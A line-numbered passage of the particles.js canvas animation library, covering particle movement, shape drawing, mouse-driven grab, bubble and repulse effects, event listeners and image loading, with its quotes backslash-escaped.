  2670.                     y: -0.5
  2671.                 };
  2672.                 break;
  2673.             case \'right\':
  2674.                 velbase = {
  2675.                     x: 1,
  2676.                     y: -0
  2677.                 };
  2678.                 break;
  2679.             case \'bottom-right\':
  2680.                 velbase = {
  2681.                     x: 0.5,
  2682.                     y: 0.5
  2683.                 };
  2684.                 break;
  2685.             case \'bottom\':
  2686.                 velbase = {
  2687.                     x: 0,
  2688.                     y: 1
  2689.                 };
  2690.                 break;
  2691.             case \'bottom-left\':
  2692.                 velbase = {
  2693.                     x: -0.5,
  2694.                     y: 1
  2695.                 };
  2696.                 break;
  2697.             case \'left\':
  2698.                 velbase = {
  2699.                     x: -1,
  2700.                     y: 0
  2701.                 };
  2702.                 break;
  2703.             case \'top-left\':
  2704.                 velbase = {
  2705.                     x: -0.5,
  2706.                     y: -0.5
  2707.                 };
  2708.                 break;
  2709.             default:
  2710.                 velbase = {
  2711.                     x: 0,
  2712.                     y: 0
  2713.                 };
  2714.                 break
  2715.         }
  2716.         if (pJS.particles.move.straight) {
  2717.             this.vx = velbase.x;
  2718.             this.vy = velbase.y;
  2719.             if (pJS.particles.move.random) {
  2720.                 this.vx = this.vx * (Math.random());
  2721.                 this.vy = this.vy * (Math.random())
  2722.             }
  2723.         } else {
  2724.             this.vx = velbase.x + Math.random() - 0.5;
  2725.             this.vy = velbase.y + Math.random() - 0.5
  2726.         }
  2727.         this.vx_i = this.vx;
  2728.         this.vy_i = this.vy;
  2729.         var shape_type = pJS.particles.shape.type;
  2730.         if (typeof(shape_type) == \'object\') {
  2731.             if (shape_type instanceof Array) {
  2732.                 var shape_selected = shape_type[Math.floor(Math.random() * shape_type.length)];
  2733.                 this.shape = shape_selected
  2734.             }
  2735.         } else {
  2736.             this.shape = shape_type
  2737.         }
  2738.         if (this.shape == \'image\') {
  2739.             var sh = pJS.particles.shape;
  2740.             this.img = {
  2741.                 src: sh.image.src,
  2742.                 ratio: sh.image.width / sh.image.height
  2743.             }
  2744.             if (!this.img.ratio) this.img.ratio = 1;
  2745.             if (pJS.tmp.img_type == \'svg\' && pJS.tmp.source_svg != undefined) {
  2746.                 pJS.fn.vendors.createSvgImg(this);
  2747.                 if (pJS.tmp.pushing) {
  2748.                     this.img.loaded = !1
  2749.                 }
  2750.             }
  2751.         }
  2752.     };
  2753.     pJS.fn.particle.prototype.draw = function() {
  2754.         var p = this;
  2755.         if (p.radius_bubble != undefined) {
  2756.             var radius = p.radius_bubble
  2757.         } else {
  2758.             var radius = p.radius
  2759.         }
  2760.         if (p.opacity_bubble != undefined) {
  2761.             var opacity = p.opacity_bubble
  2762.         } else {
  2763.             var opacity = p.opacity
  2764.         }
  2765.         if (p.color.rgb) {
  2766.             var color_value = \'rgba(\' + p.color.rgb.r + \',\' + p.color.rgb.g + \',\' + p.color.rgb.b + \',\' + opacity + \')\'
  2767.         } else {
  2768.             var color_value = \'hsla(\' + p.color.hsl.h + \',\' + p.color.hsl.s + \'%,\' + p.color.hsl.l + \'%,\' + opacity + \')\'
  2769.         }
  2770.         pJS.canvas.ctx.fillStyle = color_value;
  2771.         pJS.canvas.ctx.beginPath();
  2772.         switch (p.shape) {
  2773.             case \'circle\':
  2774.                 pJS.canvas.ctx.arc(p.x, p.y, radius, 0, Math.PI * 2, !1);
  2775.                 break;
  2776.             case \'edge\':
  2777.                 pJS.canvas.ctx.rect(p.x - radius, p.y - radius, radius * 2, radius * 2);
  2778.                 break;
  2779.             case \'triangle\':
  2780.                 pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius, p.y + radius / 1.66, radius * 2, 3, 2);
  2781.                 break;
  2782.             case \'polygon\':
  2783.                 pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius / (pJS.particles.shape.polygon.nb_sides / 3.5), p.y - radius / (2.66 / 3.5), radius * 2.66 / (pJS.particles.shape.polygon.nb_sides / 3), pJS.particles.shape.polygon.nb_sides, 1);
  2784.                 break;
  2785.             case \'star\':
  2786.                 pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius * 2 / (pJS.particles.shape.polygon.nb_sides / 4), p.y - radius / (2 * 2.66 / 3.5), radius * 2 * 2.66 / (pJS.particles.shape.polygon.nb_sides / 3), pJS.particles.shape.polygon.nb_sides, 2);
  2787.                 break;
  2788.             case \'image\':
  2789.                 function draw() {
  2790.                     pJS.canvas.ctx.drawImage(img_obj, p.x - radius, p.y - radius, radius * 2, radius * 2 / p.img.ratio)
  2791.                 }
  2792.                 if (pJS.tmp.img_type == \'svg\') {
  2793.                     var img_obj = p.img.obj
  2794.                 } else {
  2795.                     var img_obj = pJS.tmp.img_obj
  2796.                 }
  2797.                 if (img_obj) {
  2798.                     draw()
  2799.                 }
  2800.                 break
  2801.         }
  2802.         pJS.canvas.ctx.closePath();
  2803.         if (pJS.particles.shape.stroke.width > 0) {
  2804.             pJS.canvas.ctx.strokeStyle = pJS.particles.shape.stroke.color;
  2805.             pJS.canvas.ctx.lineWidth = pJS.particles.shape.stroke.width;
  2806.             pJS.canvas.ctx.stroke()
  2807.         }
  2808.         pJS.canvas.ctx.fill()
  2809.     };
  2810.     pJS.fn.particlesCreate = function() {
  2811.         for (var i = 0; i < pJS.particles.number.value; i++) {
  2812.             pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value))
  2813.         }
  2814.     };
  2815.     pJS.fn.particlesUpdate = function() {
  2816.         for (var i = 0; i < pJS.particles.array.length; i++) {
  2817.             var p = pJS.particles.array[i];
  2818.             if (pJS.particles.move.enable) {
  2819.                 var ms = pJS.particles.move.speed / 2;
  2820.                 p.x += p.vx * ms;
  2821.                 p.y += p.vy * ms
  2822.             }
  2823.             if (pJS.particles.opacity.anim.enable) {
  2824.                 if (p.opacity_status == !0) {
  2825.                     if (p.opacity >= pJS.particles.opacity.value) p.opacity_status = !1;
  2826.                     p.opacity += p.vo
  2827.                 } else {
  2828.                     if (p.opacity <= pJS.particles.opacity.anim.opacity_min) p.opacity_status = !0;
  2829.                     p.opacity -= p.vo
  2830.                 }
  2831.                 if (p.opacity < 0) p.opacity = 0
  2832.             }
  2833.             if (pJS.particles.size.anim.enable) {
  2834.                 if (p.size_status == !0) {
  2835.                     if (p.radius >= pJS.particles.size.value) p.size_status = !1;
  2836.                     p.radius += p.vs
  2837.                 } else {
  2838.                     if (p.radius <= pJS.particles.size.anim.size_min) p.size_status = !0;
  2839.                     p.radius -= p.vs
  2840.                 }
  2841.                 if (p.radius < 0) p.radius = 0
  2842.             }
  2843.             if (pJS.particles.move.out_mode == \'bounce\') {
  2844.                 var new_pos = {
  2845.                     x_left: p.radius,
  2846.                     x_right: pJS.canvas.w,
  2847.                     y_top: p.radius,
  2848.                     y_bottom: pJS.canvas.h
  2849.                 }
  2850.             } else {
  2851.                 var new_pos = {
  2852.                     x_left: -p.radius,
  2853.                     x_right: pJS.canvas.w + p.radius,
  2854.                     y_top: -p.radius,
  2855.                     y_bottom: pJS.canvas.h + p.radius
  2856.                 }
  2857.             }
  2858.             if (p.x - p.radius > pJS.canvas.w) {
  2859.                 p.x = new_pos.x_left;
  2860.                 p.y = Math.random() * pJS.canvas.h
  2861.             } else if (p.x + p.radius < 0) {
  2862.                 p.x = new_pos.x_right;
  2863.                 p.y = Math.random() * pJS.canvas.h
  2864.             }
  2865.             if (p.y - p.radius > pJS.canvas.h) {
  2866.                 p.y = new_pos.y_top;
  2867.                 p.x = Math.random() * pJS.canvas.w
  2868.             } else if (p.y + p.radius < 0) {
  2869.                 p.y = new_pos.y_bottom;
  2870.                 p.x = Math.random() * pJS.canvas.w
  2871.             }
  2872.             switch (pJS.particles.move.out_mode) {
  2873.                 case \'bounce\':
  2874.                     if (p.x + p.radius > pJS.canvas.w) p.vx = -p.vx;
  2875.                     else if (p.x - p.radius < 0) p.vx = -p.vx;
  2876.                     if (p.y + p.radius > pJS.canvas.h) p.vy = -p.vy;
  2877.                     else if (p.y - p.radius < 0) p.vy = -p.vy;
  2878.                     break
  2879.             }
  2880.             if (isInArray(\'grab\', pJS.interactivity.events.onhover.mode)) {
  2881.                 pJS.fn.modes.grabParticle(p)
  2882.             }
  2883.             if (isInArray(\'bubble\', pJS.interactivity.events.onhover.mode) || isInArray(\'bubble\', pJS.interactivity.events.onclick.mode)) {
  2884.                 pJS.fn.modes.bubbleParticle(p)
  2885.             }
  2886.             if (isInArray(\'repulse\', pJS.interactivity.events.onhover.mode) || isInArray(\'repulse\', pJS.interactivity.events.onclick.mode)) {
  2887.                 pJS.fn.modes.repulseParticle(p)
  2888.             }
  2889.             if (pJS.particles.line_linked.enable || pJS.particles.move.attract.enable) {
  2890.                 for (var j = i + 1; j < pJS.particles.array.length; j++) {
  2891.                     var p2 = pJS.particles.array[j];
  2892.                     if (pJS.particles.line_linked.enable) {
  2893.                         pJS.fn.interact.linkParticles(p, p2)
  2894.                     }
  2895.                     if (pJS.particles.move.attract.enable) {
  2896.                         pJS.fn.interact.attractParticles(p, p2)
  2897.                     }
  2898.                     if (pJS.particles.move.bounce) {
  2899.                         pJS.fn.interact.bounceParticles(p, p2)
  2900.                     }
  2901.                 }
  2902.             }
  2903.         }
  2904.     };
  2905.     pJS.fn.particlesDraw = function() {
  2906.         pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h);
  2907.         pJS.fn.particlesUpdate();
  2908.         for (var i = 0; i < pJS.particles.array.length; i++) {
  2909.             var p = pJS.particles.array[i];
  2910.             p.draw()
  2911.         }
  2912.     };
  2913.     pJS.fn.particlesEmpty = function() {
  2914.         pJS.particles.array = []
  2915.     };
  2916.     pJS.fn.particlesRefresh = function() {
  2917.         cancelRequestAnimFrame(pJS.fn.checkAnimFrame);
  2918.         cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
  2919.         pJS.tmp.source_svg = undefined;
  2920.         pJS.tmp.img_obj = undefined;
  2921.         pJS.tmp.count_svg = 0;
  2922.         pJS.fn.particlesEmpty();
  2923.         pJS.fn.canvasClear();
  2924.         pJS.fn.vendors.start()
  2925.     };
  2926.     pJS.fn.interact.linkParticles = function(p1, p2) {
  2927.         var dx = p1.x - p2.x,
  2928.             dy = p1.y - p2.y,
  2929.             dist = Math.sqrt(dx * dx + dy * dy);
  2930.         if (dist <= pJS.particles.line_linked.distance) {
  2931.             var opacity_line = pJS.particles.line_linked.opacity - (dist / (1 / pJS.particles.line_linked.opacity)) / pJS.particles.line_linked.distance;
  2932.             if (opacity_line > 0) {
  2933.                 var color_line = pJS.particles.line_linked.color_rgb_line;
  2934.                 pJS.canvas.ctx.strokeStyle = \'rgba(\' + color_line.r + \',\' + color_line.g + \',\' + color_line.b + \',\' + opacity_line + \')\';
  2935.                 pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width;
  2936.                 pJS.canvas.ctx.beginPath();
  2937.                 pJS.canvas.ctx.moveTo(p1.x, p1.y);
  2938.                 pJS.canvas.ctx.lineTo(p2.x, p2.y);
  2939.                 pJS.canvas.ctx.stroke();
  2940.                 pJS.canvas.ctx.closePath()
  2941.             }
  2942.         }
  2943.     };
  2944.     pJS.fn.interact.attractParticles = function(p1, p2) {
  2945.         var dx = p1.x - p2.x,
  2946.             dy = p1.y - p2.y,
  2947.             dist = Math.sqrt(dx * dx + dy * dy);
  2948.         if (dist <= pJS.particles.line_linked.distance) {
  2949.             var ax = dx / (pJS.particles.move.attract.rotateX * 1000),
  2950.                 ay = dy / (pJS.particles.move.attract.rotateY * 1000);
  2951.             p1.vx -= ax;
  2952.             p1.vy -= ay;
  2953.             p2.vx += ax;
  2954.             p2.vy += ay
  2955.         }
  2956.     }
  2957.     pJS.fn.interact.bounceParticles = function(p1, p2) {
  2958.         var dx = p1.x - p2.x,
  2959.             dy = p1.y - p2.y,
  2960.             dist = Math.sqrt(dx * dx + dy * dy),
  2961.             dist_p = p1.radius + p2.radius;
  2962.         if (dist <= dist_p) {
  2963.             p1.vx = -p1.vx;
  2964.             p1.vy = -p1.vy;
  2965.             p2.vx = -p2.vx;
  2966.             p2.vy = -p2.vy
  2967.         }
  2968.     }
  2969.     pJS.fn.modes.pushParticles = function(nb, pos) {
  2970.         pJS.tmp.pushing = !0;
  2971.         for (var i = 0; i < nb; i++) {
  2972.             pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value, {
  2973.                 \'x\': pos ? pos.pos_x : Math.random() * pJS.canvas.w,
  2974.                 \'y\': pos ? pos.pos_y : Math.random() * pJS.canvas.h
  2975.             }))
  2976.             if (i == nb - 1) {
  2977.                 if (!pJS.particles.move.enable) {
  2978.                     pJS.fn.particlesDraw()
  2979.                 }
  2980.                 pJS.tmp.pushing = !1
  2981.             }
  2982.         }
  2983.     };
  2984.     pJS.fn.modes.removeParticles = function(nb) {
  2985.         pJS.particles.array.splice(0, nb);
  2986.         if (!pJS.particles.move.enable) {
  2987.             pJS.fn.particlesDraw()
  2988.         }
  2989.     };
  2990.     pJS.fn.modes.bubbleParticle = function(p) {
  2991.         if (pJS.interactivity.events.onhover.enable && isInArray(\'bubble\', pJS.interactivity.events.onhover.mode)) {
  2992.             var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
  2993.                 dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
  2994.                 dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse),
  2995.                 ratio = 1 - dist_mouse / pJS.interactivity.modes.bubble.distance;
  2996.  
  2997.             function init() {
  2998.                 p.opacity_bubble = p.opacity;
  2999.                 p.radius_bubble = p.radius
  3000.             }
  3001.             if (dist_mouse <= pJS.interactivity.modes.bubble.distance) {
  3002.                 if (ratio >= 0 && pJS.interactivity.status == \'mousemove\') {
  3003.                     if (pJS.interactivity.modes.bubble.size != pJS.particles.size.value) {
  3004.                         if (pJS.interactivity.modes.bubble.size > pJS.particles.size.value) {
  3005.                             var size = p.radius + (pJS.interactivity.modes.bubble.size * ratio);
  3006.                             if (size >= 0) {
  3007.                                 p.radius_bubble = size
  3008.                             }
  3009.                         } else {
  3010.                             var dif = p.radius - pJS.interactivity.modes.bubble.size,
  3011.                                 size = p.radius - (dif * ratio);
  3012.                             if (size > 0) {
  3013.                                 p.radius_bubble = size
  3014.                             } else {
  3015.                                 p.radius_bubble = 0
  3016.                             }
  3017.                         }
  3018.                     }
  3019.                     if (pJS.interactivity.modes.bubble.opacity != pJS.particles.opacity.value) {
  3020.                         if (pJS.interactivity.modes.bubble.opacity > pJS.particles.opacity.value) {
  3021.                             var opacity = pJS.interactivity.modes.bubble.opacity * ratio;
  3022.                             if (opacity > p.opacity && opacity <= pJS.interactivity.modes.bubble.opacity) {
  3023.                                 p.opacity_bubble = opacity
  3024.                             }
  3025.                         } else {
  3026.                             var opacity = p.opacity - (pJS.particles.opacity.value - pJS.interactivity.modes.bubble.opacity) * ratio;
  3027.                             if (opacity < p.opacity && opacity >= pJS.interactivity.modes.bubble.opacity) {
  3028.                                 p.opacity_bubble = opacity
  3029.                             }
  3030.                         }
  3031.                     }
  3032.                 }
  3033.             } else {
  3034.                 init()
  3035.             }
  3036.             if (pJS.interactivity.status == \'mouseleave\') {
  3037.                 init()
  3038.             }
  3039.         } else if (pJS.interactivity.events.onclick.enable && isInArray(\'bubble\', pJS.interactivity.events.onclick.mode)) {
  3040.             if (pJS.tmp.bubble_clicking) {
  3041.                 var dx_mouse = p.x - pJS.interactivity.mouse.click_pos_x,
  3042.                     dy_mouse = p.y - pJS.interactivity.mouse.click_pos_y,
  3043.                     dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse),
  3044.                     time_spent = (new Date().getTime() - pJS.interactivity.mouse.click_time) / 1000;
  3045.                 if (time_spent > pJS.interactivity.modes.bubble.duration) {
  3046.                     pJS.tmp.bubble_duration_end = !0
  3047.                 }
  3048.                 if (time_spent > pJS.interactivity.modes.bubble.duration * 2) {
  3049.                     pJS.tmp.bubble_clicking = !1;
  3050.                     pJS.tmp.bubble_duration_end = !1
  3051.                 }
  3052.             }
  3053.  
  3054.             function process(bubble_param, particles_param, p_obj_bubble, p_obj, id) {
  3055.                 if (bubble_param != particles_param) {
  3056.                     if (!pJS.tmp.bubble_duration_end) {
  3057.                         if (dist_mouse <= pJS.interactivity.modes.bubble.distance) {
  3058.                             if (p_obj_bubble != undefined) var obj = p_obj_bubble;
  3059.                             else var obj = p_obj;
  3060.                             if (obj != bubble_param) {
  3061.                                 var value = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration);
  3062.                                 if (id == \'size\') p.radius_bubble = value;
  3063.                                 if (id == \'opacity\') p.opacity_bubble = value
  3064.                             }
  3065.                         } else {
  3066.                             if (id == \'size\') p.radius_bubble = undefined;
  3067.                             if (id == \'opacity\') p.opacity_bubble = undefined
  3068.                         }
  3069.                     } else {
  3070.                         if (p_obj_bubble != undefined) {
  3071.                             var value_tmp = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration),
  3072.                                 dif = bubble_param - value_tmp;
  3073.                             value = bubble_param + dif;
  3074.                             if (id == \'size\') p.radius_bubble = value;
  3075.                             if (id == \'opacity\') p.opacity_bubble = value
  3076.                         }
  3077.                     }
  3078.                 }
  3079.             }
  3080.             if (pJS.tmp.bubble_clicking) {
  3081.                 process(pJS.interactivity.modes.bubble.size, pJS.particles.size.value, p.radius_bubble, p.radius, \'size\');
  3082.                 process(pJS.interactivity.modes.bubble.opacity, pJS.particles.opacity.value, p.opacity_bubble, p.opacity, \'opacity\')
  3083.             }
  3084.         }
  3085.     };
  3086.     pJS.fn.modes.repulseParticle = function(p) {
  3087.         if (pJS.interactivity.events.onhover.enable && isInArray(\'repulse\', pJS.interactivity.events.onhover.mode) && pJS.interactivity.status == \'mousemove\') {
  3088.             var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
  3089.                 dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
  3090.                 dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse);
  3091.             var normVec = {
  3092.                     x: dx_mouse / dist_mouse,
  3093.                     y: dy_mouse / dist_mouse
  3094.                 },
  3095.                 repulseRadius = pJS.interactivity.modes.repulse.distance,
  3096.                 velocity = 100,
  3097.                 repulseFactor = clamp((1 / repulseRadius) * (-1 * Math.pow(dist_mouse / repulseRadius, 2) + 1) * repulseRadius * velocity, 0, 50);
  3098.             var pos = {
  3099.                 x: p.x + normVec.x * repulseFactor,
  3100.                 y: p.y + normVec.y * repulseFactor
  3101.             }
  3102.             if (pJS.particles.move.out_mode == \'bounce\') {
  3103.                 if (pos.x - p.radius > 0 && pos.x + p.radius < pJS.canvas.w) p.x = pos.x;
  3104.                 if (pos.y - p.radius > 0 && pos.y + p.radius < pJS.canvas.h) p.y = pos.y
  3105.             } else {
  3106.                 p.x = pos.x;
  3107.                 p.y = pos.y
  3108.             }
  3109.         } else if (pJS.interactivity.events.onclick.enable && isInArray(\'repulse\', pJS.interactivity.events.onclick.mode)) {
  3110.             if (!pJS.tmp.repulse_finish) {
  3111.                 pJS.tmp.repulse_count++;
  3112.                 if (pJS.tmp.repulse_count == pJS.particles.array.length) {
  3113.                     pJS.tmp.repulse_finish = !0
  3114.                 }
  3115.             }
  3116.             if (pJS.tmp.repulse_clicking) {
  3117.                 var repulseRadius = Math.pow(pJS.interactivity.modes.repulse.distance / 6, 3);
  3118.                 var dx = pJS.interactivity.mouse.click_pos_x - p.x,
  3119.                     dy = pJS.interactivity.mouse.click_pos_y - p.y,
  3120.                     d = dx * dx + dy * dy;
  3121.                 var force = -repulseRadius / d * 1;
  3122.  
  3123.                 function process() {
  3124.                     var f = Math.atan2(dy, dx);
  3125.                     p.vx = force * Math.cos(f);
  3126.                     p.vy = force * Math.sin(f);
  3127.                     if (pJS.particles.move.out_mode == \'bounce\') {
  3128.                         var pos = {
  3129.                             x: p.x + p.vx,
  3130.                             y: p.y + p.vy
  3131.                         }
  3132.                         if (pos.x + p.radius > pJS.canvas.w) p.vx = -p.vx;
  3133.                         else if (pos.x - p.radius < 0) p.vx = -p.vx;
  3134.                         if (pos.y + p.radius > pJS.canvas.h) p.vy = -p.vy;
  3135.                         else if (pos.y - p.radius < 0) p.vy = -p.vy
  3136.                     }
  3137.                 }
  3138.                 if (d <= repulseRadius) {
  3139.                     process()
  3140.                 }
  3141.             } else {
  3142.                 if (pJS.tmp.repulse_clicking == !1) {
  3143.                     p.vx = p.vx_i;
  3144.                     p.vy = p.vy_i
  3145.                 }
  3146.             }
  3147.         }
  3148.     }
  3149.     pJS.fn.modes.grabParticle = function(p) {
  3150.         if (pJS.interactivity.events.onhover.enable && pJS.interactivity.status == \'mousemove\') {
  3151.             var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
  3152.                 dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
  3153.                 dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse);
  3154.             if (dist_mouse <= pJS.interactivity.modes.grab.distance) {
  3155.                 var opacity_line = pJS.interactivity.modes.grab.line_linked.opacity - (dist_mouse / (1 / pJS.interactivity.modes.grab.line_linked.opacity)) / pJS.interactivity.modes.grab.distance;
  3156.                 if (opacity_line > 0) {
  3157.                     var color_line = pJS.particles.line_linked.color_rgb_line;
  3158.                     pJS.canvas.ctx.strokeStyle = \'rgba(\' + color_line.r + \',\' + color_line.g + \',\' + color_line.b + \',\' + opacity_line + \')\';
  3159.                     pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width;
  3160.                     pJS.canvas.ctx.beginPath();
  3161.                     pJS.canvas.ctx.moveTo(p.x, p.y);
  3162.                     pJS.canvas.ctx.lineTo(pJS.interactivity.mouse.pos_x, pJS.interactivity.mouse.pos_y);
  3163.                     pJS.canvas.ctx.stroke();
  3164.                     pJS.canvas.ctx.closePath()
  3165.                 }
  3166.             }
  3167.         }
  3168.     };
  3169.     pJS.fn.vendors.eventsListeners = function() {
  3170.         if (pJS.interactivity.detect_on == \'window\') {
  3171.             pJS.interactivity.el = window
  3172.         } else {
  3173.             pJS.interactivity.el = pJS.canvas.el
  3174.         }
  3175.         if (pJS.interactivity.events.onhover.enable || pJS.interactivity.events.onclick.enable) {
  3176.             pJS.interactivity.el.addEventListener(\'mousemove\', function(e) {
  3177.                 if (pJS.interactivity.el == window) {
  3178.                     var pos_x = e.clientX,
  3179.                         pos_y = e.clientY
  3180.                 } else {
  3181.                     var pos_x = e.offsetX || e.clientX,
  3182.                         pos_y = e.offsetY || e.clientY
  3183.                 }
  3184.                 pJS.interactivity.mouse.pos_x = pos_x;
  3185.                 pJS.interactivity.mouse.pos_y = pos_y;
  3186.                 if (pJS.tmp.retina) {
  3187.                     pJS.interactivity.mouse.pos_x *= pJS.canvas.pxratio;
  3188.                     pJS.interactivity.mouse.pos_y *= pJS.canvas.pxratio
  3189.                 }
  3190.                 pJS.interactivity.status = \'mousemove\'
  3191.             });
  3192.             pJS.interactivity.el.addEventListener(\'mouseleave\', function(e) {
  3193.                 pJS.interactivity.mouse.pos_x = null;
  3194.                 pJS.interactivity.mouse.pos_y = null;
  3195.                 pJS.interactivity.status = \'mouseleave\'
  3196.             })
  3197.         }
  3198.         if (pJS.interactivity.events.onclick.enable) {
  3199.             pJS.interactivity.el.addEventListener(\'click\', function() {
  3200.                 pJS.interactivity.mouse.click_pos_x = pJS.interactivity.mouse.pos_x;
  3201.                 pJS.interactivity.mouse.click_pos_y = pJS.interactivity.mouse.pos_y;
  3202.                 pJS.interactivity.mouse.click_time = new Date().getTime();
  3203.                 if (pJS.interactivity.events.onclick.enable) {
  3204.                     switch (pJS.interactivity.events.onclick.mode) {
  3205.                         case \'push\':
  3206.                             if (pJS.particles.move.enable) {
  3207.                                 pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse)
  3208.                             } else {
  3209.                                 if (pJS.interactivity.modes.push.particles_nb == 1) {
  3210.                                     pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse)
  3211.                                 } else if (pJS.interactivity.modes.push.particles_nb > 1) {
  3212.                                     pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb)
  3213.                                 }
  3214.                             }
  3215.                             break;
  3216.                         case \'remove\':
  3217.                             pJS.fn.modes.removeParticles(pJS.interactivity.modes.remove.particles_nb);
  3218.                             break;
  3219.                         case \'bubble\':
  3220.                             pJS.tmp.bubble_clicking = !0;
  3221.                             break;
  3222.                         case \'repulse\':
  3223.                             pJS.tmp.repulse_clicking = !0;
  3224.                             pJS.tmp.repulse_count = 0;
  3225.                             pJS.tmp.repulse_finish = !1;
  3226.                             setTimeout(function() {
  3227.                                 pJS.tmp.repulse_clicking = !1
  3228.                             }, pJS.interactivity.modes.repulse.duration * 1000)
  3229.                             break
  3230.                     }
  3231.                 }
  3232.             })
  3233.         }
  3234.     };
  3235.     pJS.fn.vendors.densityAutoParticles = function() {
  3236.         if (pJS.particles.number.density.enable) {
  3237.             var area = pJS.canvas.el.width * pJS.canvas.el.height / 1000;
  3238.             if (pJS.tmp.retina) {
  3239.                 area = area / (pJS.canvas.pxratio * 2)
  3240.             }
  3241.             var nb_particles = area * pJS.particles.number.value / pJS.particles.number.density.value_area;
  3242.             var missing_particles = pJS.particles.array.length - nb_particles;
  3243.             if (missing_particles < 0) pJS.fn.modes.pushParticles(Math.abs(missing_particles));
  3244.             else pJS.fn.modes.removeParticles(missing_particles)
  3245.         }
  3246.     };
  3247.     pJS.fn.vendors.checkOverlap = function(p1, position) {
  3248.         for (var i = 0; i < pJS.particles.array.length; i++) {
  3249.             var p2 = pJS.particles.array[i];
  3250.             var dx = p1.x - p2.x,
  3251.                 dy = p1.y - p2.y,
  3252.                 dist = Math.sqrt(dx * dx + dy * dy);
  3253.             if (dist <= p1.radius + p2.radius) {
  3254.                 p1.x = position ? position.x : Math.random() * pJS.canvas.w;
  3255.                 p1.y = position ? position.y : Math.random() * pJS.canvas.h;
  3256.                 pJS.fn.vendors.checkOverlap(p1)
  3257.             }
  3258.         }
  3259.     };
  3260.     pJS.fn.vendors.createSvgImg = function(p) {
  3261.         var svgXml = pJS.tmp.source_svg,
  3262.             rgbHex = /#([0-9A-F]{3,6})/gi,
  3263.             coloredSvgXml = svgXml.replace(rgbHex, function(m, r, g, b) {
  3264.                 if (p.color.rgb) {
  3265.                     var color_value = \'rgba(\' + p.color.rgb.r + \',\' + p.color.rgb.g + \',\' + p.color.rgb.b + \',\' + p.opacity + \')\'
  3266.                 } else {
  3267.                     var color_value = \'hsla(\' + p.color.hsl.h + \',\' + p.color.hsl.s + \'%,\' + p.color.hsl.l + \'%,\' + p.opacity + \')\'
  3268.                 }
  3269.                 return color_value
  3270.             });
  3271.         var svg = new Blob([coloredSvgXml], {
  3272.                 type: \'image/svg+xml;charset=utf-8\'
  3273.             }),
  3274.             DOMURL = window.URL || window.webkitURL || window,
  3275.             url = DOMURL.createObjectURL(svg);
  3276.         var img = new Image();
  3277.         img.addEventListener(\'load\', function() {
  3278.             p.img.obj = img;
  3279.             p.img.loaded = !0;
  3280.             DOMURL.revokeObjectURL(url);
  3281.             pJS.tmp.count_svg++
  3282.         });
  3283.         img.src = url
  3284.     };
  3285.     pJS.fn.vendors.destroypJS = function() {
  3286.         cancelAnimationFrame(pJS.fn.drawAnimFrame);
  3287.         canvas_el.remove();
  3288.         pJSDom = null
  3289.     };
  3290.     pJS.fn.vendors.drawShape = function(c, startX, startY, sideLength, sideCountNumerator, sideCountDenominator) {
  3291.         var sideCount = sideCountNumerator * sideCountDenominator;
  3292.         var decimalSides = sideCountNumerator / sideCountDenominator;
  3293.         var interiorAngleDegrees = (180 * (decimalSides - 2)) / decimalSides;
  3294.         var interiorAngle = Math.PI - Math.PI * interiorAngleDegrees / 180;
  3295.         c.save();
  3296.         c.beginPath();
  3297.         c.translate(startX, startY);
  3298.         c.moveTo(0, 0);
  3299.         for (var i = 0; i < sideCount; i++) {
  3300.             c.lineTo(sideLength, 0);
  3301.             c.translate(sideLength, 0);
  3302.             c.rotate(interiorAngle)
  3303.         }
  3304.         c.fill();
  3305.         c.restore()
  3306.     };
  3307.     pJS.fn.vendors.exportImg = function() {
  3308.         window.open(pJS.canvas.el.toDataURL(\'image/png\'), \'_blank\')
  3309.     };
  3310.     pJS.fn.vendors.loadImg = function(type) {
  3311.         pJS.tmp.img_error = undefined;
  3312.         if (pJS.particles.shape.image.src != \'\') {
  3313.             if (type == \'svg\') {
  3314.                 var xhr = new XMLHttpRequest();
  3315.                 xhr.open(\'GET\', pJS.particles.shape.image.src);
  3316.                 xhr.onreadystatechange = function(data) {
  3317.                     if (xhr.readyState == 4) {
  3318.                         if (xhr.status == 200) {
  3319.                             pJS.tmp.source_svg = data.currentTarget.response;
  3320.                             pJS.fn.vendors.checkBeforeDraw()
  3321.                         } else {
  3322.                             console.log(\'Error pJS - Image not found\');
  3323.                             pJS.tmp.img_error = !0
  3324.                         }
  3325.                     }
  3326.                 }
  3327.                 xhr.send()
  3328.             } else {
  3329.                 var img = new Image();
  3330.                 img.addEventListener(\'load\', function() {
  3331.                     pJS.tmp.img_obj = img;
  3332.                     pJS.fn.vendors.checkBeforeDraw()
  3333.                 });
  3334.                 img.src = pJS.particles.shape.image.src
  3335.             }
  3336.         } else {
  3337.             console.log(\'Error pJS - No image.src\');
  3338.             pJS.tmp.img_error = !0
  3339.         }
  3340.     };
  3341.     pJS.fn.vendors.draw = function() {
  3342.         if (pJS.particles.shape.type == \'image\') {
  3343.             if (pJS.tmp.img_type == \'svg\') {
  3344.                 if (pJS.tmp.count_svg >= pJS.particles.number.value) {
  3345.                     pJS.fn.particlesDraw();
